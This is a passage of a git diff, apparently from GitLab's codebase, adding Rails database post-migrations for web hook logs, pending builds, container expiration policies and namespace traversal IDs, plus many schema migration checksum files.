+ remove_concurrent_index_by_name('project_features', INDEX)
+ end
+end
diff --git a/db/post_migrate/20210609125005_drop_non_partitioned_web_hook_logs.rb b/db/post_migrate/20210609125005_drop_non_partitioned_web_hook_logs.rb
new file mode 100644
index 00000000000..596b643e079
--- /dev/null
+++ b/db/post_migrate/20210609125005_drop_non_partitioned_web_hook_logs.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+class DropNonPartitionedWebHookLogs < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+ include Gitlab::Database::PartitioningMigrationHelpers::TableManagementHelpers
+
+ DOWNTIME = false
+
+ def up
+ drop_nonpartitioned_archive_table(:web_hook_logs)
+ end
+
+ def down
+ execute(<<~SQL)
+ CREATE TABLE web_hook_logs_archived (
+ id integer NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ created_at timestamp without time zone NOT NULL,
+ updated_at timestamp without time zone NOT NULL
+ );
+
+ ALTER TABLE ONLY web_hook_logs_archived ADD CONSTRAINT web_hook_logs_archived_pkey PRIMARY KEY (id);
+
+ CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON web_hook_logs_archived USING btree (created_at, web_hook_id);
+ CREATE INDEX index_web_hook_logs_on_web_hook_id ON web_hook_logs_archived USING btree (web_hook_id);
+
+ ALTER TABLE ONLY web_hook_logs_archived ADD CONSTRAINT fk_rails_666826e111 FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
+ SQL
+
+ with_lock_retries do
+ create_trigger_to_sync_tables(:web_hook_logs, :web_hook_logs_archived, 'id')
+ end
+ end
+end
diff --git a/db/post_migrate/20210610102413_migrate_protected_attribute_to_pending_builds.rb b/db/post_migrate/20210610102413_migrate_protected_attribute_to_pending_builds.rb
new file mode 100644
index 00000000000..f47ff244d7a
--- /dev/null
+++ b/db/post_migrate/20210610102413_migrate_protected_attribute_to_pending_builds.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class MigrateProtectedAttributeToPendingBuilds < ActiveRecord::Migration[6.1]
+ include ::Gitlab::Database::DynamicModelHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ return unless Gitlab.dev_or_test_env? || Gitlab.com?
+
+ each_batch_range('ci_pending_builds', of: 1000) do |min, max|
+ execute <<~SQL
+ UPDATE ci_pending_builds
+ SET protected = true
+ FROM ci_builds
+ WHERE ci_pending_builds.build_id = ci_builds.id
+ AND ci_builds.protected = true
+ AND ci_pending_builds.id BETWEEN #{min} AND #{max}
+ SQL
+ end
+ end
+
+ def down
+ # no op
+ end
+end
diff --git a/db/post_migrate/20210610113229_add_index_to_protected_pending_builds.rb b/db/post_migrate/20210610113229_add_index_to_protected_pending_builds.rb
new file mode 100644
index 00000000000..140bf7df4e6
--- /dev/null
+++ b/db/post_migrate/20210610113229_add_index_to_protected_pending_builds.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToProtectedPendingBuilds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_ci_pending_builds_id_on_protected_partial'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_pending_builds, :id, where: 'protected = true', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_pending_builds, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20210610141711_disable_expiration_policies_linked_to_no_container_images.rb b/db/post_migrate/20210610141711_disable_expiration_policies_linked_to_no_container_images.rb
new file mode 100644
index 00000000000..f4827c0bbc0
--- /dev/null
+++ b/db/post_migrate/20210610141711_disable_expiration_policies_linked_to_no_container_images.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class DisableExpirationPoliciesLinkedToNoContainerImages < ActiveRecord::Migration[6.1]
+ disable_ddl_transaction!
+
+ BATCH_SIZE = 1000
+
+ class ContainerExpirationPolicy < ActiveRecord::Base
+ include ::EachBatch
+ self.table_name = 'container_expiration_policies'
+ end
+
+ def up
+ ContainerExpirationPolicy.where(enabled: true).each_batch(of: BATCH_SIZE) do |batch, _|
+ sql = <<-SQL
+ WITH batched_relation AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (#{batch.limit(BATCH_SIZE).to_sql})
+ UPDATE container_expiration_policies
+ SET enabled = FALSE
+ FROM batched_relation
+ WHERE container_expiration_policies.project_id = batched_relation.project_id
+ AND NOT EXISTS (SELECT 1 FROM "container_repositories" WHERE container_repositories.project_id = container_expiration_policies.project_id)
+ SQL
+ execute(sql)
+ end
+ end
+
+ def down
+ # no-op
+
+ # we can't accuretaly know which policies were previously enabled during `#up`
+ end
+end
diff --git a/db/post_migrate/20210611080951_fix_missing_traversal_ids.rb b/db/post_migrate/20210611080951_fix_missing_traversal_ids.rb
new file mode 100644
index 00000000000..45728ef26f5
--- /dev/null
+++ b/db/post_migrate/20210611080951_fix_missing_traversal_ids.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+class FixMissingTraversalIds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ ROOTS_MIGRATION = 'BackfillNamespaceTraversalIdsRoots'
+ CHILDREN_MIGRATION = 'BackfillNamespaceTraversalIdsChildren'
+ DOWNTIME = false
+ BATCH_SIZE = 1_000
+ SUB_BATCH_SIZE = 50
+ DELAY_INTERVAL = 2.minutes
+ ROOT_NS_INDEX_NAME = 'tmp_index_namespaces_empty_traversal_ids_with_root_namespaces'
+ CHILD_INDEX_NAME = 'tmp_index_namespaces_empty_traversal_ids_with_child_namespaces'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :namespaces, :id, where: "parent_id IS NULL AND traversal_ids = '{}'", name: ROOT_NS_INDEX_NAME
+ add_concurrent_index :namespaces, :id, where: "parent_id IS NOT NULL AND traversal_ids = '{}'", name: CHILD_INDEX_NAME
+
+ # Personal namespaces and top-level groups
+ final_delay = queue_background_migration_jobs_by_range_at_intervals(
+ ::Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsRoots::Namespace.base_query.where("traversal_ids = '{}'"),
+ ROOTS_MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ other_job_arguments: [SUB_BATCH_SIZE],
+ track_jobs: true
+ )
+ final_delay += DELAY_INTERVAL
+
+ # Subgroups
+ queue_background_migration_jobs_by_range_at_intervals(
+ ::Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsChildren::Namespace.base_query.where("traversal_ids = '{}'"),
+ CHILDREN_MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ initial_delay: final_delay,
+ other_job_arguments: [SUB_BATCH_SIZE],
+ track_jobs: true
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name :namespaces, ROOT_NS_INDEX_NAME
+ remove_concurrent_index_by_name :namespaces, CHILD_INDEX_NAME
+ end
+end
diff --git a/db/schema_migrations/20210331000934 b/db/schema_migrations/20210331000934
new file mode 100644
index 00000000000..1d55b126d60
--- /dev/null
+++ b/db/schema_migrations/20210331000934
@@ -0,0 +1 @@
+0bd47f9055aab927a4e8efb4f995f44532880926af9892af60f7d2b8dcdef4a6 \ No newline at end of file
diff --git a/db/schema_migrations/20210421163509 b/db/schema_migrations/20210421163509
new file mode 100644
index 00000000000..b31e8209bbe
--- /dev/null
+++ b/db/schema_migrations/20210421163509
@@ -0,0 +1 @@
+0f6019cc094481cafbf0c9bd42f53ae09034ea87e3f360b02f9ec03192caab9d \ No newline at end of file
diff --git a/db/schema_migrations/20210426225417 b/db/schema_migrations/20210426225417
new file mode 100644
index 00000000000..2ba6e666520
--- /dev/null
+++ b/db/schema_migrations/20210426225417
@@ -0,0 +1 @@
+50d370d2465fa4c0d3c2bd963d5745474ca35a43609d0e754f3fe69eb7a7179f \ No newline at end of file
diff --git a/db/schema_migrations/20210430121522 b/db/schema_migrations/20210430121522
new file mode 100644
index 00000000000..0ad04fc386a
--- /dev/null
+++ b/db/schema_migrations/20210430121522
@@ -0,0 +1 @@
+feee3b817b18ab913071c29b5c6283d91268dc62b31ee2441c1cb116bf0d77c9 \ No newline at end of file
diff --git a/db/schema_migrations/20210430121542 b/db/schema_migrations/20210430121542
new file mode 100644
index 00000000000..40ad284a6ba
--- /dev/null
+++ b/db/schema_migrations/20210430121542
@@ -0,0 +1 @@
+00ac4ff6896f65d7ad7d259d7e5a39efcbf73b189f7c2c5a472f50aa45663235 \ No newline at end of file
diff --git a/db/schema_migrations/20210504143128 b/db/schema_migrations/20210504143128
new file mode 100644
index 00000000000..425120e633b
--- /dev/null
+++ b/db/schema_migrations/20210504143128
@@ -0,0 +1 @@
+e5b552b21c40b83b95442341838ad5951dcac7dd473194c49630d20ce6a46ae2 \ No newline at end of file
diff --git a/db/schema_migrations/20210505070612 b/db/schema_migrations/20210505070612
new file mode 100644
index 00000000000..454634cb74b
--- /dev/null
+++ b/db/schema_migrations/20210505070612
@@ -0,0 +1 @@
+52cc795e577a6de524cc55ce8d11f140e5d919f1164bb9983f7dd2c1ef2f0859 \ No newline at end of file
diff --git a/db/schema_migrations/20210505070812 b/db/schema_migrations/20210505070812
new file mode 100644
index 00000000000..ca53caa49af
--- /dev/null
+++ b/db/schema_migrations/20210505070812
@@ -0,0 +1 @@
+7d57e1fea3652c0c04d29261d3c21b314ed443c9e61b882d22ca7f59807c312b \ No newline at end of file
diff --git a/db/schema_migrations/20210505170152 b/db/schema_migrations/20210505170152
new file mode 100644
index 00000000000..d51d04bc6ab
--- /dev/null
+++ b/db/schema_migrations/20210505170152
@@ -0,0 +1 @@
+9b16e17189d4db708553ce0d9dada1ce097be75433c3a8c09a6102e897e3123a \ No newline at end of file
diff --git a/db/schema_migrations/20210506150833 b/db/schema_migrations/20210506150833
new file mode 100644
index 00000000000..e63559fee8a
--- /dev/null
+++ b/db/schema_migrations/20210506150833
@@ -0,0 +1 @@
+18fdca797ea7f3a60ce5b421bec7af1ea0b0b73fbf6e1c23592acbc9d13a0a52 \ No newline at end of file
diff --git a/db/schema_migrations/20210510083845 b/db/schema_migrations/20210510083845
new file mode 100644
index 00000000000..c3c67b9520e
--- /dev/null
+++ b/db/schema_migrations/20210510083845
@@ -0,0 +1 @@
+307e45d581c48b6f571fc8fa2a00dfd4360296560ee2b320540314b8f9f9e02c \ No newline at end of file
diff --git a/db/schema_migrations/20210511165250 b/db/schema_migrations/20210511165250
new file mode 100644
index 00000000000..d68bd28d356
--- /dev/null
+++ b/db/schema_migrations/20210511165250
@@ -0,0 +1 @@
+8f746d7eb604ae31a5941840d6a078eae2e4fa59b7185bf8cc0db9c55b463c33 \ No newline at end of file
diff --git a/db/schema_migrations/20210512120122 b/db/schema_migrations/20210512120122
new file mode 100644
index 00000000000..ad8640c6068
--- /dev/null
+++ b/db/schema_migrations/20210512120122
@@ -0,0 +1 @@
+1acc251417e3230c9b0a46e294cb9a6e8768f31978b8d4f439101f8de4e9269e \ No newline at end of file
diff --git a/db/schema_migrations/20210513163904 b/db/schema_migrations/20210513163904
new file mode 100644
index 00000000000..dc668704311
--- /dev/null
+++ b/db/schema_migrations/20210513163904
@@ -0,0 +1 @@
+3c4905fbe29227da7a2386f73d9df30e82da48efff24a1193ba3db0ac325cfcf \ No newline at end of file
diff --git a/db/schema_migrations/20210514063252 b/db/schema_migrations/20210514063252
new file mode 100644
index 00000000000..848265418d2
--- /dev/null
+++ b/db/schema_migrations/20210514063252
@@ -0,0 +1 @@
+7e52f9ba8470fd8c2e149fea723c9b06b92ecde2dac4db4512534b3e23952c61 \ No newline at end of file
diff --git a/db/schema_migrations/20210517130723 b/db/schema_migrations/20210517130723
new file mode 100644
index 00000000000..04e94d1b867
--- /dev/null
+++ b/db/schema_migrations/20210517130723
@@ -0,0 +1 @@
+3bcc5ae97f3185ea33e568f42b90d1bfd31ac7c5126dab4580b64bd9b4603721 \ No newline at end of file
diff --git a/db/schema_migrations/20210517144856 b/db/schema_migrations/20210517144856
new file mode 100644
index 00000000000..14d36163797
--- /dev/null
+++ b/db/schema_migrations/20210517144856
@@ -0,0 +1 @@
+1944c983dd384029cef6e456108a1ccfdb9c991c65343d3b7f26aff51f244816 \ No newline at end of file
diff --git a/db/schema_migrations/20210517221612 b/db/schema_migrations/20210517221612
new file mode 100644
index 00000000000..4078e0b44f0
--- /dev/null
+++ b/db/schema_migrations/20210517221612
@@ -0,0 +1 @@
+69e7297ace1301bbdb63053bd30b75c326122873fbc6c5c15f9f118166111434 \ No newline at end of file
diff --git a/db/schema_migrations/20210518074332 b/db/schema_migrations/20210518074332
new file mode 100644
index 00000000000..b5c7d33eec4
--- /dev/null
+++ b/db/schema_migrations/20210518074332
@@ -0,0 +1 @@
+9eb5e68b0d79863687530ff22cbe6a2bffd2e2d31237e919134b9ce77810b1a0 \ No newline at end of file
diff --git a/db/schema_migrations/20210519104931 b/db/schema_migrations/20210519104931
new file mode 100644
index 00000000000..82f84986924
--- /dev/null
+++ b/db/schema_migrations/20210519104931
@@ -0,0 +1 @@
+c31cb40b6251704c699e7fa3e7392bb9eb73fefcd5b0268e2b8fc58df9e6075e \ No newline at end of file
diff --git a/db/schema_migrations/20210519132109 b/db/schema_migrations/20210519132109
new file mode 100644
index 00000000000..9d8537aa6b2
--- /dev/null
+++ b/db/schema_migrations/20210519132109
@@ -0,0 +1 @@
+ba464ad09f3cec0e9cf94b3041ad946e3a5a8c915ce0b9f4f95ab49cb55d305d \ No newline at end of file
diff --git a/db/schema_migrations/20210519132129 b/db/schema_migrations/20210519132129
new file mode 100644
index 00000000000..da7a8212092
--- /dev/null
+++ b/db/schema_migrations/20210519132129
@@ -0,0 +1 @@
+8041e898177bdee3b4d1ad82ec7dd3b79cb7dd740f773cd91dc4306a87a397fd \ No newline at end of file
diff --git a/db/schema_migrations/20210519220019 b/db/schema_migrations/20210519220019
new file mode 100644
index 00000000000..c0578586e62
--- /dev/null
+++ b/db/schema_migrations/20210519220019
@@ -0,0 +1 @@
+6c687ffd41f242dcd0ecf1ff82652aba79130d2d54016729a817dafa0bac6184 \ No newline at end of file
diff --git a/db/schema_migrations/20210520012430 b/db/schema_migrations/20210520012430
new file mode 100644
index 00000000000..d92bc8d8369
--- /dev/null
+++ b/db/schema_migrations/20210520012430
@@ -0,0 +1 @@
+86b9f1c0f4288bf83e8b2d70b06b8951b7bcef0aa9324d9546471f6f094b014b \ No newline at end of file
diff --git a/db/schema_migrations/20210520102039 b/db/schema_migrations/20210520102039
new file mode 100644
index 00000000000..a850a5b07ca
--- /dev/null
+++ b/db/schema_migrations/20210520102039
@@ -0,0 +1 @@
+88d2c1507503de626dfdb3f2f0eaf0f51fad5fc2279fd147d901c5dcc7ae91eb \ No newline at end of file
diff --git a/db/schema_migrations/20210520133032 b/db/schema_migrations/20210520133032
new file mode 100644
index 00000000000..169203e33cd
--- /dev/null
+++ b/db/schema_migrations/20210520133032
@@ -0,0 +1 @@
+eddbcd18c17f9017a2cdfb6fc0144dcfcb539d3617271722b2918bdbe48c481a \ No newline at end of file
diff --git a/db/schema_migrations/20210520133440 b/db/schema_migrations/20210520133440
new file mode 100644
index 00000000000..d5644ab8927
--- /dev/null
+++ b/db/schema_migrations/20210520133440
@@ -0,0 +1 @@
+3ee15db28406522a5fb591395dd3d4a46b10e958339dc60ded3751e23096864d \ No newline at end of file
diff --git a/db/schema_migrations/20210521073920 b/db/schema_migrations/20210521073920
new file mode 100644
index 00000000000..e0ac7ff7f31
--- /dev/null
+++ b/db/schema_migrations/20210521073920
@@ -0,0 +1 @@
+ecef2157c20804acbad9d74df27febcf935f7f36920946fac211f3ef8b419f26 \ No newline at end of file
diff --git a/db/schema_migrations/20210525075724 b/db/schema_migrations/20210525075724
new file mode 100644
index 00000000000..539138e18a9
--- /dev/null
+++ b/db/schema_migrations/20210525075724
@@ -0,0 +1 @@
+5dc1119c5efe28225bb7ac8a9ed2c4c5cfaeaff202194ed4419cfd54eaf7483d \ No newline at end of file
diff --git a/db/schema_migrations/20210525085158 b/db/schema_migrations/20210525085158
new file mode 100644
index 00000000000..c16bb8edeb9
--- /dev/null
+++ b/db/schema_migrations/20210525085158
@@ -0,0 +1 @@
+a2ce644df46a13d65eb0d01931eeb8e9f43967daadf73eed2f033b6c275ca57d \ No newline at end of file
diff --git a/db/schema_migrations/20210525085325 b/db/schema_migrations/20210525085325
new file mode 100644
index 00000000000..38967a72899
--- /dev/null
+++ b/db/schema_migrations/20210525085325
@@ -0,0 +1 @@
+f085c9a7fc2209cf4d3797cda55c2be76b462eff456e7bf92de4545e0b988053 \ No newline at end of file
diff --git a/db/schema_migrations/20210525100539 b/db/schema_migrations/20210525100539
new file mode 100644
index 00000000000..31d93a231ed
--- /dev/null
+++ b/db/schema_migrations/20210525100539
@@ -0,0 +1 @@
+6568aa11d3652fb7ee23d2e6622a1038d891914f629438608993ff0d8b46b748 \ No newline at end of file
diff --git a/db/schema_migrations/20210525100603 b/db/schema_migrations/20210525100603
new file mode 100644
index 00000000000..645d7584d3d
--- /dev/null
+++ b/db/schema_migrations/20210525100603
@@ -0,0 +1 @@
+1a877c384c1e4e9e28a64c8c521aa72965c54d528044b076efdc75aeeb83d796 \ No newline at end of file
diff --git a/db/schema_migrations/20210525184900 b/db/schema_migrations/20210525184900
new file mode 100644
index 00000000000..5e507e7a363
--- /dev/null
+++ b/db/schema_migrations/20210525184900
@@ -0,0 +1 @@
+ae91ea7481ea21ce29b4c0697f77fd83017c36d913739ed67e5c907a48c56f69 \ No newline at end of file
diff --git a/db/schema_migrations/20210526135911 b/db/schema_migrations/20210526135911
new file mode 100644
index 00000000000..be8d46e3cb0
--- /dev/null
+++ b/db/schema_migrations/20210526135911
@@ -0,0 +1 @@
+9f3edf905be3bd3c7fe0149c9b97c68783590b808a96ad08873d983e3d901419 \ No newline at end of file
diff --git a/db/schema_migrations/20210526155257 b/db/schema_migrations/20210526155257
new file mode 100644
index 00000000000..ab3a611d341
--- /dev/null
+++ b/db/schema_migrations/20210526155257
@@ -0,0 +1 @@
+ec4cd687062118b30e516ed7c36677dda056f25c4d96c6ee0b503e457b5a18d4 \ No newline at end of file
diff --git a/db/schema_migrations/20210526160133 b/db/schema_migrations/20210526160133
new file mode 100644
index 00000000000..c61cc233c0e
--- /dev/null
+++ b/db/schema_migrations/20210526160133
@@ -0,0 +1 @@
+ee76ee2e2515c06b09fca23a77bdfb9532fa5d80fc3d5aba44a80d123b74cfa9 \ No newline at end of file
diff --git a/db/schema_migrations/20210526181820 b/db/schema_migrations/20210526181820
new file mode 100644
index 00000000000..b21e0c66d2a
--- /dev/null
+++ b/db/schema_migrations/20210526181820
@@ -0,0 +1 @@
+e72471e63dc108939473232437eda4c718382630c1173ae20023002d382e5ffa \ No newline at end of file
diff --git a/db/schema_migrations/20210526181821 b/db/schema_migrations/20210526181821
new file mode 100644
index 00000000000..055ae0886b3
--- /dev/null
+++ b/db/schema_migrations/20210526181821
@@ -0,0 +1 @@
+3c53d85bec154ec68a23841d37317d10fa6c7c846bc5f54f5b7876081105ac7b \ No newline at end of file
diff --git a/db/schema_migrations/20210526190259 b/db/schema_migrations/20210526190259
new file mode 100644
index 00000000000..0c7c7b88504
--- /dev/null
+++ b/db/schema_migrations/20210526190259
@@ -0,0 +1 @@
+ae2829a06f02ff3e1adc977f5e789b17d1f760e6aaa40be44586cc6a90870c4a \ No newline at end of file
diff --git a/db/schema_migrations/20210526190553 b/db/schema_migrations/20210526190553
new file mode 100644
index 00000000000..5998df03b1c
--- /dev/null
+++ b/db/schema_migrations/20210526190553
@@ -0,0 +1 @@
+824e0930de14587f6ccaeb6b5fbec16676d243550a2dfd3a5999b67dfc16d4c8 \ No newline at end of file
diff --git a/db/schema_migrations/20210526222715 b/db/schema_migrations/20210526222715
new file mode 100644
index 00000000000..905c6a1fcb5
--- /dev/null
+++ b/db/schema_migrations/20210526222715
@@ -0,0 +1 @@
+f80787d85538cedaba34cb204c98df2d0bbbf85f438d4df8f1187d2f4d881588 \ No newline at end of file
diff --git a/db/schema_migrations/20210527065005 b/db/schema_migrations/20210527065005
new file mode 100644
index 00000000000..23df046f302
--- /dev/null
+++ b/db/schema_migrations/20210527065005
@@ -0,0 +1 @@
+983b736defaa128f7466a784d2a06de293fa6b1cee76121e533e7966d19aad73 \ No newline at end of file
diff --git a/db/schema_migrations/20210527130524 b/db/schema_migrations/20210527130524
new file mode 100644
index 00000000000..611865047ef
--- /dev/null
+++ b/db/schema_migrations/20210527130524
@@ -0,0 +1 @@
+c0d6252fc768a431513754f7d51e61c5127f5573fefb278e7e1673dcd9e1b097 \ No newline at end of file
diff --git a/db/schema_migrations/20210527131039 b/db/schema_migrations/20210527131039
new file mode 100644
index 00000000000..acd89af497d
--- /dev/null
+++ b/db/schema_migrations/20210527131039
@@ -0,0 +1 @@
+c07ebd06892bacc936514798d970eb58ed08b6570049d2de07f787e93b5b3316 \ No newline at end of file
diff --git a/db/schema_migrations/20210527133919 b/db/schema_migrations/20210527133919
new file mode 100644
index 00000000000..559860de55d
--- /dev/null
+++ b/db/schema_migrations/20210527133919
@@ -0,0 +1 @@
+aaf5936c945451fa98df7c21ab34c9aa7190dcf301f536c259e5b1fe54407f36 \ No newline at end of file
diff --git a/db/schema_migrations/20210527134019 b/db/schema_migrations/20210527134019
new file mode 100644
index 00000000000..de757dd355e
--- /dev/null
+++ b/db/schema_migrations/20210527134019
@@ -0,0 +1 @@
+ac4522ee51d4a4cda317b680c16be3d9ef3e1619bba80c26aefe8d5dc70f013c \ No newline at end of file
diff --git a/db/schema_migrations/20210527185542 b/db/schema_migrations/20210527185542
new file mode 100644
index 00000000000..175fe5432e3
--- /dev/null
+++ b/db/schema_migrations/20210527185542
@@ -0,0 +1 @@
+56efe7709f07ffe198b4a2068c7e4b1ba8507a878cbc9ac3b1b30a334cbd83ca \ No newline at end of file
diff --git a/db/schema_migrations/20210527194558 b/db/schema_migrations/20210527194558
new file mode 100644
index 00000000000..089b97aa90e
--- /dev/null
+++ b/db/schema_migrations/20210527194558
@@ -0,0 +1 @@
+8c0661a42edbdb79be283df0e88879707ef34ba3fe21b6756b21cd99ea9f05de \ No newline at end of file
diff --git a/db/schema_migrations/20210529164247 b/db/schema_migrations/20210529164247
new file mode 100644
index 00000000000..76637590be7
--- /dev/null
+++ b/db/schema_migrations/20210529164247
@@ -0,0 +1 @@
+8aa9e00be5f2bc6076f4a42a479aff4318b9e4d3da48798117fec67df7158db4 \ No newline at end of file
diff --git a/db/schema_migrations/20210531053916 b/db/schema_migrations/20210531053916
new file mode 100644
index 00000000000..d2eb05fab3d
--- /dev/null
+++ b/db/schema_migrations/20210531053916
@@ -0,0 +1 @@
+862deb2d2845aaa114ba4c56418ae6a041d3aed3ac205cff102414423b60c969 \ No newline at end of file
diff --git a/db/schema_migrations/20210531054108 b/db/schema_migrations/20210531054108
new file mode 100644
index 00000000000..4b0372e7ffc
--- /dev/null
+++ b/db/schema_migrations/20210531054108
@@ -0,0 +1 @@
+9ffb8d6b93f1e994eaa9dd4b16b9250fe007903dca3901d34bf66a81b2f3ad44 \ No newline at end of file
diff --git a/db/schema_migrations/20210531070452 b/db/schema_migrations/20210531070452
new file mode 100644
index 00000000000..51a023a544c
--- /dev/null
+++ b/db/schema_migrations/20210531070452
@@ -0,0 +1 @@
+e569b99998d9c670af17ec747e37726671601ba06fa97da83373649adb3aab31 \ No newline at end of file
diff --git a/db/schema_migrations/20210531071107 b/db/schema_migrations/20210531071107
new file mode 100644
index 00000000000..f855e0990e1
--- /dev/null
+++ b/db/schema_migrations/20210531071107
@@ -0,0 +1 @@
+38dcfcd162a3b49a9b16b45b2f9818275807bf419880729b5c552bccb0d4dc9e \ No newline at end of file
diff --git a/db/schema_migrations/20210601073400 b/db/schema_migrations/20210601073400
new file mode 100644
index 00000000000..eb4eed721fe
--- /dev/null
+++ b/db/schema_migrations/20210601073400
@@ -0,0 +1 @@
+668f65ea77042e5b8054681e76f583a6061aca921b685f90d155fc4121e7ff78 \ No newline at end of file
diff --git a/db/schema_migrations/20210601080039 b/db/schema_migrations/20210601080039
new file mode 100644
index 00000000000..91d517058fe
--- /dev/null
+++ b/db/schema_migrations/20210601080039
@@ -0,0 +1 @@
+2c5c0756757a181cf8bf7968de5184664004a82c093ae3fc14c5d6931a1ab44f \ No newline at end of file
diff --git a/db/schema_migrations/20210601123341 b/db/schema_migrations/20210601123341
new file mode 100644
index 00000000000..7fd9943c89e
--- /dev/null
+++ b/db/schema_migrations/20210601123341
@@ -0,0 +1 @@
+d4a0098c30cd1acea008fa5f1cfb4c23d5b5b894eab2b72f5004acc5233f2576 \ No newline at end of file
diff --git a/db/schema_migrations/20210601125410 b/db/schema_migrations/20210601125410
new file mode 100644
index 00000000000..241a60e966a
--- /dev/null
+++ b/db/schema_migrations/20210601125410
@@ -0,0 +1 @@
+fc500e4dd555a6baad91ad3c9fb8a2f8541e1613dd64afdbdd28b19447a28caf \ No newline at end of file
diff --git a/db/schema_migrations/20210601131742 b/db/schema_migrations/20210601131742
new file mode 100644
index 00000000000..59869b190e5
--- /dev/null
+++ b/db/schema_migrations/20210601131742
@@ -0,0 +1 @@
+63cd83e097a24b39a399918422950caacb6aed8d05d0d8b7bcf66f9155a0d04e \ No newline at end of file
diff --git a/db/schema_migrations/20210601133459 b/db/schema_migrations/20210601133459
new file mode 100644
index 00000000000..2f40fffa40f
--- /dev/null
+++ b/db/schema_migrations/20210601133459
@@ -0,0 +1 @@
+4dcf6277439e8abe52534540100fa621fedcecb3eaf71ad5685ac0230cd2e5bb \ No newline at end of file
diff --git a/db/schema_migrations/20210602122213 b/db/schema_migrations/20210602122213
new file mode 100644
index 00000000000..651f9789b36
--- /dev/null
+++ b/db/schema_migrations/20210602122213
@@ -0,0 +1 @@
+66e50071130c2bd64be2f52d5c5f348a91883b2e9a9f4241175d1d2ad2a74434 \ No newline at end of file
diff --git a/db/schema_migrations/20210602122233 b/db/schema_migrations/20210602122233
new file mode 100644
index 00000000000..c52dbdfd858
--- /dev/null
+++ b/db/schema_migrations/20210602122233
@@ -0,0 +1 @@
+96c70de2567fc3e816c720ed6e4cef2446c0f0ee288d0959cd1298523913077f \ No newline at end of file
diff --git a/db/schema_migrations/20210603140302 b/db/schema_migrations/20210603140302
new file mode 100644
index 00000000000..346cf84c85c
--- /dev/null
+++ b/db/schema_migrations/20210603140302
@@ -0,0 +1 @@
+5b58dbdcba08f6e56802aa58ba0d23e5353c1818a8d4d653d53dabaac4c0234c \ No newline at end of file
diff --git a/db/schema_migrations/20210603222333 b/db/schema_migrations/20210603222333
new file mode 100644
index 00000000000..25b5055f17e
--- /dev/null
+++ b/db/schema_migrations/20210603222333
@@ -0,0 +1 @@
+fb02e0fee2760dad203b54d81c342dbf1461b3010503cab05da1eb14ab5d33da \ No newline at end of file
diff --git a/db/schema_migrations/20210604070207 b/db/schema_migrations/20210604070207
new file mode 100644
index 00000000000..3531c9775bd
--- /dev/null
+++ b/db/schema_migrations/20210604070207
@@ -0,0 +1 @@
+ec44b7f134de2ea6537c6fe3109fa9d7e32785233f3d1b8e9ea118474d21526a \ No newline at end of file
diff --git a/db/schema_migrations/20210604082145 b/db/schema_migrations/20210604082145
new file mode 100644
index 00000000000..2c568f0f2b6
--- /dev/null
+++ b/db/schema_migrations/20210604082145
@@ -0,0 +1 @@
+f4191b4b8ae7c282c0012f533a01ebe341d62cb0418e39ad543d06ed2dac63a4 \ No newline at end of file
diff --git a/db/schema_migrations/20210604085600 b/db/schema_migrations/20210604085600
new file mode 100644
index 00000000000..aa8b3120916
--- /dev/null
+++ b/db/schema_migrations/20210604085600
@@ -0,0 +1 @@
+8b6e1c7bacf2cbc05ba94e3fea2ab20e30b78ccaa6833949c11f89d1bdec8110 \ No newline at end of file
diff --git a/db/schema_migrations/20210606143426 b/db/schema_migrations/20210606143426
new file mode 100644
index 00000000000..a8a2d7d784c
--- /dev/null
+++ b/db/schema_migrations/20210606143426
@@ -0,0 +1 @@
+1f99d446428ddac2a0fa7d64bdce9fc300bf02e88c35cdb3d726c501641e721d \ No newline at end of file
diff --git a/db/schema_migrations/20210607050531 b/db/schema_migrations/20210607050531
new file mode 100644
index 00000000000..e69ab586f4d
--- /dev/null
+++ b/db/schema_migrations/20210607050531
@@ -0,0 +1 @@
+77f24cb4756dfeef16ba48a189d3bf9352534f858446522bc49495b9295374a8 \ No newline at end of file
diff --git a/db/schema_migrations/20210607080044 b/db/schema_migrations/20210607080044
new file mode 100644
index 00000000000..9ccf86d8194
--- /dev/null
+++ b/db/schema_migrations/20210607080044
@@ -0,0 +1 @@
+88f16dc06371d320a1245de68aba5ed4ad7cd8f15c4e5898619a751840981072 \ No newline at end of file
diff --git a/db/schema_migrations/20210607154719 b/db/schema_migrations/20210607154719
new file mode 100644
index 00000000000..0f7aab0fc39
--- /dev/null
+++ b/db/schema_migrations/20210607154719
@@ -0,0 +1 @@
+dd6bf6ae4988e8e07247388554992d5100dedb2bd66e92c42a6bb144dc6b1937 \ No newline at end of file
diff --git a/db/schema_migrations/20210608072312 b/db/schema_migrations/20210608072312
new file mode 100644
index 00000000000..c0c052397b1
--- /dev/null
+++ b/db/schema_migrations/20210608072312
@@ -0,0 +1 @@
+c395f52ee34cd758df87ba0f74f4528a189704498e133fa53f0dd3f6f31a77b3 \ No newline at end of file
diff --git a/db/schema_migrations/20210608072346 b/db/schema_migrations/20210608072346
new file mode 100644
index 00000000000..6ca0ad0f471
--- /dev/null
+++ b/db/schema_migrations/20210608072346
@@ -0,0 +1 @@
